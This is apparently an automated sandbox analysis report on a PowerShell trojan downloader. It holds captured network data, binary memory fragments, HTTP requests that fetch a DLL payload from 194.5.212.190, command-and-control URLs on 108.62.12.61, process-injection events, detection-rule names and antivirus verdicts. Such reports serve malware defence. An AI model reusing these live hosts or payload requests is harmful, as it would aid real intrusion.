DL$pLÀHT$hH$ÀèË!ÿÿëéAÿÿÿHÄ¸ÃÌÌÌÌÌÌÌÌÌÌÌÌT$HL$Hì¸H$ÀHØH$H$ÀèÀÀH$ÀHàHHD$hH$ÀèD$tH$ÀHD$XHD$XHÀHD$PHD$XD$@HD$X@D$DHD$X@D$H$È¹$¶È$Óà$$Ñø$\|$\|$ÈÁD$pÇD$\|ë4D$\|ÀD$\|kD$tÀH$HH$HD$hHÀHD$hH$Àìàü9D$\|Ã'ÇD$xë,D$xÿÀD$xH$HÀH$HD$hHÀHD$hD$t9D$xz'HD$hD$d\|$d_'D$d% À» D$d%ïÀª T$dHL$Xè¬ÿÿ¶À$$HL$XHDÁ(HD$PHD$PHL$D+ÈÁD$DD$@ÁèHL$PH ;HD$PH9D$Ds3HD$PHD$DHD$PH@D$`HD$PHHL$PH@HëSHD$PHD$DHD$PHxu Ç$ëÇ$$D$`HD$PHHL$PH@H\|$HÅHD$XH@¶@$HD$XH@¶=ÿuk¼$v)D$@ÿD$@ÇD$HHD$X@ÿÀHL$XAë3HD$XH@HÿÀHL$XHA$Áà L$@ÈÁD$@ÇD$Hë3HD$XH@HÿÀHL$XHA$ÁàL$@ÈÁD$@ÇD$HD$DÑàD$DD$@ÑàD$@D$HÿÈD$H\|$Dÿÿÿé±HD$PHÁàL$@+ÈÁD$@D$D%ÀxHD$PH9D$DsGHD$PHxu Ç$ëÇ$$D$`HD$PHHL$PH@Hë#HD$PH@D$`HD$PHHL$PH@H\|$HÅHD$XH@¶@$HD$XH@¶=ÿuk¼$v)D$@ÿD$@ÇD$HHD$X@ÿÀHL$XAë3HD$XH@HÿÀHL$XHA$Áà L$@ÈÁD$@ÇD$Hë3HD$XH@HÿÀHL$XHA$ÁàL$@ÈÁD$@ÇD$HD$DÑàD$DD$@ÑàD$@D$HÿÈD$H\|$DÿÿÿëHD$PH@D$`\|$`ð¸HkÀ¹HkÉÿE3ÉHT$hDHD$hL$dè}¦ÿÿ$$èJ§ÿÿ¶À$$èT§ÿÿ¶À$$HL$XHDÁ(HD$PHD$PHL$D+ÈÁD$DD$@ÁèHL$PH ;HD$PH9D$Ds3HD$PHD$DHD$PH@D$`HD$PHHL$PH@HëSHD$PHD$DHD$PHxu Ç$ ëÇ$ $ D$`HD$PHHL$PH@H\|$HÅHD$XH@¶@$HD$XH@¶=ÿuk¼$v)D$@ÿD$@ÇD$HHD$X@ÿÀHL$XAë3HD$XH@HÿÀHL$XHA$Áà L$@ÈÁD$@ÇD$Hë3HD$XH@HÿÀHL$XHA$ÁàL$@ÈÁD$@ÇD$HD$DÑàD$DD$@ÑàD$@D$HÿÈD$H\|$Dÿÿÿé±HD$PHÁàL$@+ÈÁD$@D$D%ÀxHD$PH
Data received	$xAD$,HD$x@$ÿÈHL$x¯AHL$xAD$0HD$xPL$,èIHL$pQÈèºD$,HD$xPL$0è%HL$pQÈèD$0HD$pH@HD$ ÇD$(ë D$(ÿÀD$(HD$p@9D$(ÓHD$ L$<èD$4HD$ PL$@èùD$8HD$ L$,èåD$DHD$ PL$0èÐD$HD$4L$D+ÈÁHL$ Q(ÈèD$LD$8L$H+ÈÁHL$ Q(ÈèâD$PHD$ L$LHHD$ L$PHHD$ L$4HHD$ L$8HHD$ HÀ@HD$ éÿÿÿHÄhÃÌÌÌÌÌÌHT$HL$Hì8H\|$@uA¸«HÕüH ÞüèQ/3ÀH\|$HuA¸¬HêüH óüè./3ÀHD$HHL$@ HD$HHL$@IHHD$HHL$@IHHD$HHL$@IHHD$HHxtpÇD$ ë D$ ÿÀD$ HD$H@9D$ s3D$ HkÀ@HL$HHAHD$(HD$(Hx0tHD$(HH0ÿïFëµHD$HHHè_ôÿÿHD$HHÇ@HD$HHL$@IHHD$H@HkÀ@HÈè~òÿÿHL$HHAHD$HHxuHD$HHÇ@HD$HÇ@é ÇD$ ë D$ ÿÀD$ HD$H@9D$ sLD$ HkÀ@HL$@HAL$ HkÉ@HT$HHJA¸@HÐèù5D$ HkÀ@HL$HHIHÇD0ëHD$HHL$@IHHD$HHL$@I(H(HD$Hx(tcHD$H@(Èè£ñÿÿHL$HHA HD$HHx uHD$HHÇ@ HD$HÇ@(ë1HD$@@(DÀHD$@HP HD$HHH èQ5ë HD$HHÇ@ HÄ8ÃÌÌÌÌÌÌÌÌÌÌÌÌÌT$L$HìD$(9D$ s D$ $ëD$($$HÄÃÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌT$L$HìD$(9D$ v D$ $ëD$($$HÄÃÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌT$L$HìD$ L$(HÁH$H$HÁè ÷Ø$HÄÃÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌT$L$Hì(\|$8uA¸¬H0ùH ùè,3ÀD$0L$8HDÿL$83ÒH÷ñHÄ(ÃÌÌÌÌÌÌÌT$L$D$L$ºHÓâHÊHDÿL$HÓèÃÌÌÌÌÌÌÌÌDD$HT$HL$HìxHÇD$P$ÁàD$@$ÁàD$DkD$DL$@ÈÁD$HHÇD$`HÇD$XD$HÈèïÿÿHD$PH\|$Pu3ÀéËHD$PHD$`D$@HL$PHÈHÁHD$XD$@DÀ3ÒHL$`èCD$LD$XHT$`H$èÀuHL$PèÈðÿÿ3Àëi$ÑàÀHL$XH$HT$XHHD$0HL$(HD$XHD$ LL$`D$H$H$è*HL$Pè`ðÿÿ¸HÄxÃÌÌÌÌÌÌDL$ LD$HT$HL$HìH$HD$HÇD$4$¨ÿÈD$l$¨ÁàD$PH$HD$`ÇD$<$¨ÿÈD$XÇD$ ë D$ ÿÀD$ $¨9D$ sHD$HL$ HD$HHÀHD$HëÎH$HD$HÇD$$ë D$$ÿÀD$$D$l9D$$WÀóD$0D$$HL$`HHD$(D$$D$ ë D$ ÿÀD$ $¨9D$ HD$(ó/8qvHD$(óóD$hëHD$(óW5óD$hóD$hóD$8óD$8/D$0vóD$8óD$0D$ D$4$¨HL$(HHD$(éeÿÿÿóZD$0f.êz u3Àé-D$$9D$4D$4HL$HHL$$HÁáH+ÁHD$xHD$HD$pHD$HHL$x HD$xL$pD$$L$4+ÈÁ¯$¨ÀHL$`HHD$(D$PDÀHT$(H$ èc0D$PDÀHT$`HL$(èM0D$PDÀH$ HL$`è40D$$HL$`HHD$@$¨HL$@HHD$(HD$@óóD$8HD$@HÀHD$@D$<D$ ë D$ ÿÀD$ $¨9D$ ÈHD$(óó^D$8óD$0HD$(óD$0óHD$(HÀHD$(D$<D$Të D$TÿÀD$T$¨9D$TsFHD$@óD$0óYHD$(óó\È(ÁHD$(óHD$@HÀHD$@HD$(HÀHD$(ë£D$XHÁàHL$@H+ÈHÁHD$@D$$HL$(HHD$(éÿÿÿD$<ÿÀD$<D$XÿÈD$X$¨HL$`HHD$`HD$HHÀHD$Héçüÿÿ¸HÄÃÌÌÌÌÌÌÌÌÌÌLL$ LD$HT$HL$Hì$°ÿÀD$LH$HD$@$°H$HDüHD$hH$¨HD$XH$¸HD$P$°H$¸HDüHD$pÇD$0ë D$0ÿÀD$0$°9D$0ÚWÀóD$$H$¸HD$8HD$@HD$(ÇD$ ë D$ ÿÀD$ D$09D$ wCHD$(HL$8óóYóL$$óXÈ(ÁóD$$HD$8HÀHD$8HD$(HÀHD$(ë©HD$XH$ óó\D$$HD$PóHD$PHÀHD$PHD$XHÀHD$X$°HL$@HHD$@éÿÿÿ$°¯$°ÀH$HDüHD$@$°H$HHD$`¼$°uA¸üHòH §òè¢$3À$°ÿÈD$4ë D$4ÿÈD$4\|$4ÿWÀóD$$HD$@HD$(HD$(óóD$HHD$(HÀHD$(HD$`HD$8HD$`HèHD$`D$4ÿÀD$ ë D$ ÿÀD$ $°9D$ sCHD$(HL$8óóYóL$$óXÈ(ÁóD$$HD$8HÀHD$8HD$(HÀHD$(ë¦HD$póó\D$$ó^D$HHD$hóHD$hHèHD$hHD$pHèHD$pD$LHÁàHL$@H+ÈHÁHD$@éæþÿÿHÄ
Data received	ÃÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌLL$ DD$HT$HL$HìXHD$hHD$@D$pÁàD$8ÇD$0ë D$0ÿÀD$0D$p9D$0ÌHD$@HD$HHD$@HÀHD$@D$8DÀ3ÒH$èã:D$0H$óÃjóH$HD$(D$pD$ LL$xL$HT$`H$èüÿÿÇD$4ë D$4ÿÀD$4D$p9D$4s.D$4HL$HH$óóD$pHL$HHHD$Hë¾éÿÿÿHÄXÃ3ÀÃÌÌÌÌÌÌÌÌÌÌÌÌÌ¸ÃÌÌÌÌÌÌÌÌÌÌ3ÀÃÌÌÌÌÌÌÌÌÌÌÌÌÌHL$ÃÌÌÌÌÌÌÌÌÌÌHL$ÃÌÌÌÌÌÌÌÌÌÌHL$ÃÌÌÌÌÌÌÌÌÌÌ3ÀÃÌÌÌÌÌÌÌÌÌÌÌÌÌHT$HL$ÃÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌHL$ÃÌÌÌÌÌÌÌÌÌÌHL$ÃÌÌÌÌÌÌÌÌÌÌHT$HL$3ÀÃÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌHL$ÃÌÌÌÌÌÌÌÌÌÌT$HL$HìÇ$ë$ÿÀ$HD$ @9$}2Hc$HkÀHL$ H T$(9uHc$HkÀHL$ H HDëë¹3ÀHÄÃÌÌÌÌÌÌÌÌÌÌÌÌLL$ LD$T$HL$Hì8HD$@xÿÿÿu3ÀétÇD$ ë D$ ÿÀD$ HD$@@9D$ ¨HcD$ HkÀHL$@H T$H9HcD$ HkÀHL$@H H\|t,HcD$ HkÀHL$@H HcT$ HkÒLD$@MHLAÿTHcD$ HkÀHL$@H HT$PHTHcD$ HkÀHL$@H HT$XHT¸é«é<ÿÿÿHD$@Hc@HÿÀHkÀ
Data received	$PÀHL$PHD$@L$ HD$@8uL¤ºHL$`èÿÿ3ÀëUë$HD$@8uL¦ºHL$`èïÿÿ3Àë/HD$@HL$P 9sL¤ºHL$`èÅÿÿ3Àë¸HÄ8ÃÌÌÌÌÌÌÌHT$HL$Hì(H\|$0uA¸THH ¦è¡¡3ÀH\|$8uA¸UH¢H «è~¡3À¸HÄ(ÃÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌHT$HL$Hì(H\|$0uA¸HÝH æè1¡3ÀH\|$8uA¸HâH ëè¡3ÀLD$8HíÿÿHD$0HHèâ=ûÿÀu3Àë¸HÄ(ÃÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌLD$HT$HL$HìhHD$xHxûHD$xH@HHD$HHD$xH@·@fD$DHD$p@D$@HD$xHxt!HD$xH@HxtHD$xH@¶@"D$@3ÀfD$0ë ·D$0fÿÀfD$0·D$0·L$D;Áë·D$0HkÀHL$H·;D$@r=·D$0HkÀHL$H·L$@L$ DÈLmyºH$è»ÿÿ3ÀéZ·D$0HkÀHL$H·D=ÿÿuémÿÿÿ·D$0HkÀHL$H·DÀ~[·D$0HkÀHL$H·DÿÈ;D$@r@·D$0HkÀHL$H·DÿÈL$@L$ DÈLyºH$è*ÿÿ3ÀéÉéöþÿÿ\|$@3ÀfD$0ë ·D$0fÿÀfD$0·D$0·L$D;Á} ·D$0HkÀHL$H·L$@ÿÉ;ÁuëëÅ·D$0·L$D;Áu LªxºH$è¨ÿÿ3ÀéGD$@ÿÈD$@étÿÿÿHD$xHx#HD$xH@HxHD$xH@¶@"fD$8HD$xH@H@HD$PÇD$<3ÀfD$0ë ·D$0fÿÀfD$0·D$0·L$8;Á}X·D$0HL$P·HL$p;Ar>·D$0HL$P·HL$pIL$ DÈLúwºH$èÐ ÿÿÇD$<ë·D$8ºÈè5bÿÿHD$XH\|$Xu LáwºH$è ÿÿ3Àé.3ÀfD$0ë ·D$0fÿÀfD$0·D$0·L$8;Á¥·D$0HL$P¶DD$5·D$0HL$P¶DD$4¶D$5ÀtA¶D$5øt7¶D$5·L$0D$ DÉLgwºH$èýÿÿÇD$<é0¶D$4·L$8;Á\|.¶D$4DÈLSwºH$èÁÿÿÇD$<éô¶D$4HL$X<t8¶D$5øu.
Data received	get_decoded_tileopj_get_num_cpusopj_has_thread_supportopj_image_createopj_image_data_allocopj_image_data_freeopj_image_destroyopj_image_tile_createopj_read_headeropj_read_tile_headeropj_set_MCTopj_set_decode_areaopj_set_decoded_componentsopj_set_decoded_resolution_factoropj_set_default_decoder_parametersopj_set_default_encoder_parametersopj_set_error_handleropj_set_info_handleropj_set_warning_handleropj_setup_decoderopj_setup_encoderopj_start_compressopj_stream_createopj_stream_create_default_file_streamopj_stream_create_file_streamopj_stream_default_createopj_stream_destroyopj_stream_set_read_functionopj_stream_set_seek_functionopj_stream_set_skip_functionopj_stream_set_user_dataopj_stream_set_user_data_lengthopj_stream_set_write_functionopj_versionopj_write_tile8pt0¸rÈrÚrìrürs2sFs`stss®sÂsÖsòstt8tNtbtttxtªt¼tÊtâtòtuu*uBuZuuuuªu´uÂuÔuâuøuvv,v<vHvTv`vnvvv¢v²vÆvÒvèvøvw"w0w<wPw`wrw\|www¦w¸wÎwäwþwx2xDxTxfxtxÙVirtualAllocßVirtualProtect¸GetProcAddressÈLoadLibraryARQueryPerformanceCounterSQueryPerformanceFrequencyÕRtlCaptureContextÜRtlLookupFunctionEntryãRtlVirtualUnwindÀUnhandledExceptionFilterSetUnhandledExceptionFilter GetCurrentProcessTerminateProcessIsProcessorFeaturePresent!GetCurrentProcessId%GetCurrentThreadIdóGetSystemTimeAsFileTimeoInitializeSListHeadIsDebuggerPresentÚGetStartupInfoWGetModuleHandleWKERNEL32.dllÞRtlPcToFileHeaderhRaiseExceptionâRtlUnwindExsInterlockedFlushSListjGetLastErrorASetLastError4EncodePointer8EnterCriticalSectionÄLeaveCriticalSectionDeleteCriticalSectionkInitializeCriticalSectionAndSpinCount°TlsAlloc²TlsGetValue³TlsSetValue±TlsFree´FreeLibraryÊLoadLibraryExWgExitProcessGetModuleHandleExWÜGetStdHandleXGetFileType}GetModuleFileNameW$WriteConsoleWyReadFileUHeapFreeQHeapAllocXHeapReAllocCompareStringW¸LCMapStringWGetConsoleModevReadConsoleW¨FlushFileBuffers%WriteFile GetConsoleOutputCPVGetFileSizeEx3SetFilePointerExOutputDebugStringWCloseHandle~FindCloseFindFirstFileExWFindNextFileWIsValidCodePage»GetACP¡GetOEMCPÊGetCPInfoßGetCommandLineAàGetCommandLineWöMultiByteToWideCharWideCharToMultiByteAGetEnvironmentStringsW³FreeEnvironmentStringsW$SetEnvironmentVariableW¾GetProcessHeap[SetS
Data received	248173665a04837e6d9aa2810a0f2fbc46e476e73a720884e123266a24932eedda92a11a0f3fac06f446e7aa2258049173764a44836e3d1ae2b12a1f2fac769476a72a7278648163761a04936e2d9ab2811a0f3fbc56f446977a7278249163265a14e3de0dcae2b12a1f0fec56e446f72a7278648163563a24937e7d9ab2811a0f3f8c26d446b73ae299140103060a44a36e1d4a72118a7f4fac46e446f72a725844a163664a04931ecdfaf2c13a2f3fece65436e73a627804d163763aa4e32e2daa82913a6f0fac46e406376a524834816336da44b35e7d9ab2a15a1f3fac06f446b73a627864f143464a14a32e7d8ab2c10a1f0fec56e446f72a725844a163664a54033e5dbab2811a2f7fac56f446b72a6305c48171e65a14832e6dcaa1c10e8f2a7c41b28451ea6268948d03660a04037f2d9cc2868a072fb566fe36b72a724814c535a00e3294484bcde6c7cc19cbfa80a2c1f00c350f00c7b5800c93c4583afd87b71d4f2fbc46f456b72a6268248173665a04837e6d9aa2810a0f2fbc46f456b72a6268248173665a04837e6d9aa2810a0f2fbc46f456b72a6268248173665a04837e6d9aa2810a0f2fbc46f456b72a6268248173665a04837e6d9aa2810a0f2fbc46f456b72a6268248173665a04837e6d9aa2810a0f2fbc46f456b72a6268248173665a04837e6d9aa2810a0f2fbc46f456b72a6268248173665a04837e6d9aa2810a0f2fbc46f456b72a626be48173665a0103702d9e62810a0f2fb746fb16b72a6268248173665a048bbe6d9aab210a0f255c46f45d772a6265248173685a048371ed9aa2800a0f2fbe06f456b48a6268218173665c04837e6adaa281026f2fbc4cf456b7216268248db3665a0ac37e6d95e2810a0fcfbc46f5f6b72a6168248177265a04869e6d9aa5a10a0f26bc46f45f372a6262e481736dfa0483730d9aa28f6a0f2fb3c6f456b7aa6268248173665b44837e6fbaa281090f2fbc451456b72ec268248453665a01437e6d9cc2810a09cfbc46f3d6b72a6a6824817bc65a048a3e6d9aab610a0f253c46f45d972a6263e481736a3a04837e6d9aa289ca0f2fb5e6f456bdca62682f4173665704837e639aa281058f2fbc47f456b72822682482d3665a01837e6d9ca2810a086fbc46fc36b72a6868248178665a048fbe6d9aacc10a0f20fc46f456572a6269848173655a04837a2d9aa284ea0f2fbb66f456be2a62682d01736650c4837e663aa281076f2fbc489456b725e2682481f3665a04837e6d9be2810a0d0fbc46f756b72a6188248177c65a04865e6d9aa7410a0f29dc46f450572a626fa481736e5a048376cd9aa2884a0f2fb5a6f456bdaa62682fa1736651c4837e61faa2810a0f2fbc43a060417c742e720545800d42952b6a9aaa453c586bda82ee62817d268ef2c7e5365190b52928dd8491077b697b02c2c0213f545eb26e07311d23a4385b5cf5c7fa03ebcb01a370522c943f185504210d2266789bcd94cc1e7868eb601111913ef268d0f635711d22737c59ede4765c5939fa16f102c06d445e63a6436ece73c4e92b4c34d63c99792a1cc021f1bcd49ec48e07f0cc9244da5b0c34943c39b958d23240e00d245ee2d635965ef0456aabbcb511018a39ebd0a231913c565f73c65e437c10e5be627f84474e69c8fab3b270e8df44ae33c65750bc53c31b4b5c54360d59192aa01376b7ff44aeb3c766312ce48abb5adc44974c5b798b4062b0206d48fd12d678131d2215683abc95b101ea688a139290eb9f34eec24734e00d427718abcaacb46d28797a800458224d453ee3a6355654b1e4593b5df5a10bfa592a10620252dc24aec3063653ac92a5188d9d3777dc79792c4461a0506c34b1217785d53ff264f9207f5467fcb549aab1bf1081ec926562e7236bac63a43e6d5c7447fa0e696a91f455901c147827d64440bc60e4494bcaa6163d2918bad19350206a6268248173665a04837e6d9aa2810a0f2fbc46f456b72a6268248173665a04837e6d9aa2810a0f2fbc46f456b72a6268248173665a04837e6d9aa2810a0f2fbc46f456b39f463b1667b3665b44823e6cdaa3c10b4f2efc47b457f72b2269648033671a05c37f2d9be2804a0e6fbd06f281d00884a8248173665a04837e6d9aa2810a0f2fbc46f456b72a6268248173665a04837e6d9aa2810a0f2fbc46f456b72a6268248bb3665a04837e6d9aa2810b05efbc48fe96b72a6268248173665a04837e6d9aa2810a0f2fbc46f456b72a6268248173665a04837e6d9aa2810a0f2fbc46f456b72a6268248173665a04837e6d9aa2810a0f2fbc46f456b72a6268248173665a04837e6d9aa2810a0f2fbc46f456b72a6268248173665a04837e6d9aa2810a0f2fbc46f456b72a6268248173665a04837e6d9aa2810a0f2fbc46f456b72a6268248173665a04837e6d9aa2
Data received	810a0f2fbc46f456b72a6268248173665a04837e6d9aa2810a0f2fbc46f456b72a6268248173665a04837e6d9aa2810a0f2fbc46f456b72a6268248173665a04837e6d9aa2810a0f2ba686f452fdea6269ee41736550c4837e6d9aa2810a0f2fbc46f456b72a6268248173665a04837e6d9aa2810a0f2fbc46f456b72a6268248173665a04837e6d9aa2810a0f2fbc46f456b72a6268248173665a04837e6d9aa2810a0f2fbc46f456b72a6268248173665a04837e6d9aa2810a0f2fbH0633436663435366237326136323638323438313733363635613034383337653664396161323831306130663266626334366634353662373261363236383234383137333636356130343833376536643961613238313061306632666263343666343536623732613632363832343831373336363561303438333765366439616132383130613066326662633436663435366237326136323638323438313733363635613034383337653664396161323831306130663266626334366634353662373261363236383234383137333636356130343833376536643961613238313061306632666263343666343536623732613632363832343831373336363561303438333765366439
Data received	2k.cp_manager != 00j2k.cp_stream != 00Not enough memory to write POC marker j2k.cp_j2k != 00j2k.cp_manager != 00j2k.cp_header_data != 00j2k.cp_j2k != 00j2k.cp_manager != 00Error reading POC marker Too many POCs %d j2k.cp_header_data != 00j2k.cp_j2k != 00j2k.cp_manager != 00Error reading CRG marker j2k.cp_header_data != 00j2k.cp_j2k != 00j2k.cp_manager != 00Error reading TLM marker Error reading TLM marker j2k.cp_header_data != 00j2k.cp_j2k != 00j2k.cp_manager != 00Error reading PLM marker j2k.cp_header_data != 00j2k.cp_j2k != 00j2k.cp_manager != 00Error reading PLT marker Error reading PLT marker j2k.cp_header_data != 00j2k.cp_j2k != 00j2k.cp_manager != 00Error reading PPM marker j2k.cl_cp->ppm_markers_count == 0UNot enough memory to read PPM marker Not enough memory to read PPM marker Zppm %u already read Not enough memory to read PPM marker j2k.cp_cp != 00j2k.cp_manager != 00j2k.cp_cp->ppm_buffer == NULLNot enough bytes to read Nppm Corrupted PPM markers Not enough memory to read PPM marker Not enough bytes to read Nppm j2k.cp_header_data != 00j2k.cp_j2k != 00j2k.cp_manager != 00Error reading PPT marker j2k.c } Error reading PPT marker: packet header have been previously found in the main header (PPM marker). l_tcp->ppt_markers_count == 0UNot enough memory to read PPT marker Not enough memory to read PPT marker Zppt %u already read Not enough memory to read PPT marker j2k.cp_tcp != 00j2k.cp_manager != 00opj_j2k_merge_ppt() has already been called Not enough memory to read PPT marker j2k.cp_j2k != 00j2k.cp_manager != 00j2k.cp_stream != 00Not enough memory to write TLM marker j2k.cp_j2k != 00j2k.cp_manager != 00j2k.cp_stream != 00Not enough bytes in output buffer to write
Data received	HTTP/1.1 200 OK Date: Mon, 1 Nov 2021 02:10:59 GMT Server: Apache Content-Length: 199368 Keep-Alive: timeout=10, max=100 Connection: Keep-Alive Content-Type: text/plain
Data received	HTTP/1.1 200 OK Date: Mon, 1 Nov 2021 02:10:59 GMT Server: Apache Content-Length: 199408 Keep-Alive: timeout=10, max=100 Connection: Keep-Alive Content-Type: text/plain
Data received	qBdvHPslM2HP+EavzeTF+Ea6wIK+v+H3/IGncxIXP2myd/ddQ9kNLtHAnokgE3bdSY71fLD2Snd25d6668+l4Y1blZ41ssfoV2+uHxT+Yktu6/vaDf3PoOff0acp+SLyFfQ1I65a1ki3CzT4i7cvrHHG9J/e7ojPB/76eutiaE/NX1/26xnjnqMT6IkOxjmNoe12T4f8KPz0uzPxCmOo9A6Ly5uvkH4tj6rrX9sk9t68ibDytOZ9NfNXf7HaDU6d7Drz245+3086f6X/2si3gtYqpBrlMC/QKwf5lWN6xhzn6wzCc1Of/4B2ga6+vvQ9qg3IW1s9zqk2P+2RGBmXpSE7HThTMr2zecA9zhg+Gm1S81D9tZ//4NibfZfHt+Bbr/1psOwjnMekrL/sE+l9P777ZvRl02q0VjOh0edh/3emFGxV4Jt87Wz5fRbB
Data received	/! jQuery v3.3.1 \| (c) JS Foundation and other contributors \| jquery.org/license /!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQuery requires a window with a document");return t(e)}:t(e)}("undefined"!=typeof window?window:this,function(e,t){"use strict";var n=[],r=e.document,i=Object.getPrototypeOf,o=n.slice,a=n.concat,s=n.push,u=n.indexOf,l={},c=l.toString,f=l.hasOwnProperty,p=f.toString,d=p.call(Object),h={},g=function e(t){return"function"==typeof t&&"number"!=typeof t.nodeType},y=function e(t){return null!=t&&t===t.window},v={type:!0,src:!0,noModule:!0};function m(e,t,n){var i,o=(t=t\|\|r).createElement("script");if(o.text=e,n)for(i in v)n[i]&&(o[i]=n[i]);t.head.appendChild(o).parentNode.removeChild(o)}function x(e){return null==e?e+"":"object"==typeof e\|\|"function"==typeof e?l[c.call(e)]\|\|"object":typeof e}var b="3.3.1",w=function(e,t){return new w.fn.init(e,t)},T=/^[\s\uFEFF\xA0]+\|[\s\uFEFF\xA0]+$/g;w.fn=w.prototype={jquery:"3.3.1",constructor:w,length:0,toArray:function(){return o.call(this)},get:function(e){return null==e?o.call(this):e<0?this[e+this.length]:this[e]},pushStack:function(e){var t=w.merge(this.constructor(),e);return t.prevObject=this,t},each:function(e){return w.each(this,e)},map:function(e){return this.pushStack(w.map(this,function(t,n){return e.call(t,n,t)}))},slice:function(){return this.pushSt

Poweshell is sending data to a remote host (3 events)

Data sent	GET /load/trendmicro2.dll HTTP/1.1 Host: 194.5.212.190 Connection: Keep-Alive
Data sent	GET /home HTTP/1.1 Host: 108.62.12.61:99 Connection: Keep-Alive
Data sent	GET /home2 HTTP/1.1 Host: 108.62.12.61 Connection: Keep-Alive

Checks for the Locally Unique Identifier on the system for a suspicious privilege (3 events)

Time & API	Arguments	Status	Return
LookupPrivilegeValueW Nov. 1, 2021, 10:56 a.m.	system_name: privilege_name: SeDebugPrivilege	1	1
LookupPrivilegeValueW Nov. 1, 2021, 10:56 a.m.	system_name: privilege_name: SeDebugPrivilege	1	1
LookupPrivilegeValueW Nov. 1, 2021, 10:56 a.m.	system_name: privilege_name: SeDebugPrivilege	1	1

Potentially malicious URLs were found in the process memory dump (2 events)

url	http://108.62.12.61:99/home
url	http://108.62.12.61:80/home2

Yara rule detected in process memory (50 out of 90 events)

description	Create a windows service	rule	Create_Service
description	Communication using DGA	rule	Network_DGA
description	Communications over RAW Socket	rule	Network_TCP_Socket
description	Steal credential	rule	local_credential_Steal
description	Communications use DNS	rule	Network_DNS
description	Match Windows Inet API call	rule	Str_Win32_Internet_API
description	Code injection with CreateRemoteThread in a remote process	rule	Code_injection
description	Record Audio	rule	Sniff_Audio
description	Communications over HTTP	rule	Network_HTTP
description	Run a KeyLogger	rule	KeyLogger
description	Communications over FTP	rule	Network_FTP
description	Escalate priviledges	rule	Escalate_priviledges
description	File Downloader	rule	Network_Downloader
description	Take ScreenShot	rule	ScreenShot
description	Match Windows Http API call	rule	Str_Win32_Http_API
description	Communications over P2P network	rule	Network_P2P_Win
description	(no description)	rule	DebuggerCheck__GlobalFlags
description	(no description)	rule	DebuggerCheck__QueryInfo
description	(no description)	rule	DebuggerCheck__RemoteAPI
description	(no description)	rule	DebuggerHiding__Thread
description	(no description)	rule	DebuggerHiding__Active
description	(no description)	rule	DebuggerException__ConsoleCtrl
description	(no description)	rule	DebuggerException__SetConsoleCtrl
description	(no description)	rule	ThreadControl__Context
description	(no description)	rule	SEH__vectored
description	(no description)	rule	Check_Dlls
description	Checks if being debugged	rule	anti_dbg
description	Anti-Sandbox checks for ThreatExpert	rule	antisb_threatExpert
description	Bypass DEP	rule	disable_dep
description	Affect hook table	rule	win_hook
description	Create a windows service	rule	Create_Service
description	Communication using DGA	rule	Network_DGA
description	Communications over RAW Socket	rule	Network_TCP_Socket
description	Steal credential	rule	local_credential_Steal
description	Communications use DNS	rule	Network_DNS
description	Match Windows Inet API call	rule	Str_Win32_Internet_API
description	Code injection with CreateRemoteThread in a remote process	rule	Code_injection
description	Record Audio	rule	Sniff_Audio
description	Communications over HTTP	rule	Network_HTTP
description	Run a KeyLogger	rule	KeyLogger
description	Communications over FTP	rule	Network_FTP
description	Escalate priviledges	rule	Escalate_priviledges
description	File Downloader	rule	Network_Downloader
description	Take ScreenShot	rule	ScreenShot
description	Match Windows Http API call	rule	Str_Win32_Http_API
description	Communications over P2P network	rule	Network_P2P_Win
description	(no description)	rule	DebuggerCheck__GlobalFlags
description	(no description)	rule	DebuggerCheck__QueryInfo
description	(no description)	rule	DebuggerCheck__RemoteAPI
description	(no description)	rule	DebuggerHiding__Thread

Communicates with host for which no DNS query was performed (2 events)

host	108.62.12.61
host	194.5.212.190

File has been identified by 16 AntiVirus engines on VirusTotal as malicious (16 events)

Lionic	Trojan.Script.Boxter.4!c
Arcabit	Heur.BZC.PZQ.Boxter.791.43396F78
ESET-NOD32	PowerShell/TrojanDownloader.Agent.EOA
TrendMicro-HouseCall	TROJ_FRS.VSNW1EJ21
BitDefender	Heur.BZC.PZQ.Boxter.791.43396F78
MicroWorld-eScan	Heur.BZC.PZQ.Boxter.791.43396F78
Ad-Aware	Heur.BZC.PZQ.Boxter.791.43396F78
Emsisoft	Heur.BZC.PZQ.Boxter.791.43396F78 (B)
Comodo	TrojWare.Win32.BadShell.XSP@7pmj0k
TrendMicro	TROJ_FRS.VSNW1EJ21
FireEye	Heur.BZC.PZQ.Boxter.791.43396F78
Antiy-AVL	Trojan/Generic.ASMalwRG.FB
GData	Heur.BZC.PZQ.Boxter.791.43396F78
ALYac	Heur.BZC.PZQ.Boxter.791.43396F78
MAX	malware (ai score=81)
Ikarus	Win32.Outbreak

Network activity contains more than one unique useragent (2 events)

process	powershell.exe				useragent	Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like Gecko
process	regsvr32.exe				useragent

Network communications indicative of a potential document or script payload download was initiated by the process powershell.exe (3 events)

Time & API	Arguments	Status	Return
send Nov. 1, 2021, 10:56 a.m.	buffer: GET /load/trendmicro2.dll HTTP/1.1 Host: 194.5.212.190 Connection: Keep-Alive socket: 1412 sent: 83	1	83
send Nov. 1, 2021, 10:56 a.m.	buffer: GET /home HTTP/1.1 Host: 108.62.12.61:99 Connection: Keep-Alive socket: 1420 sent: 69	1	69
send Nov. 1, 2021, 10:56 a.m.	buffer: GET /home2 HTTP/1.1 Host: 108.62.12.61 Connection: Keep-Alive socket: 1420 sent: 67	1	67

Found URLs in memory pointing to an IP address rather than a domain (potentially indicative of Command & Control traffic) (2 events)

url	http://108.62.12.61:99/home
url	http://108.62.12.61:80/home2

Resumed a suspended thread in a remote process potentially indicative of process injection (4 events)

Time & API	Arguments	Status	Return	Repeated
Process injection	Process 2556 resumed a thread in remote process 2840
Process injection	Process 2556 resumed a thread in remote process 2988
NtResumeThread Nov. 1, 2021, 10:56 a.m.	thread_handle: 0x00000084 suspend_count: 0 process_identifier: 2840	1	0	0
NtResumeThread Nov. 1, 2021, 10:56 a.m.	thread_handle: 0x00000088 suspend_count: 0 process_identifier: 2988	1	0	0

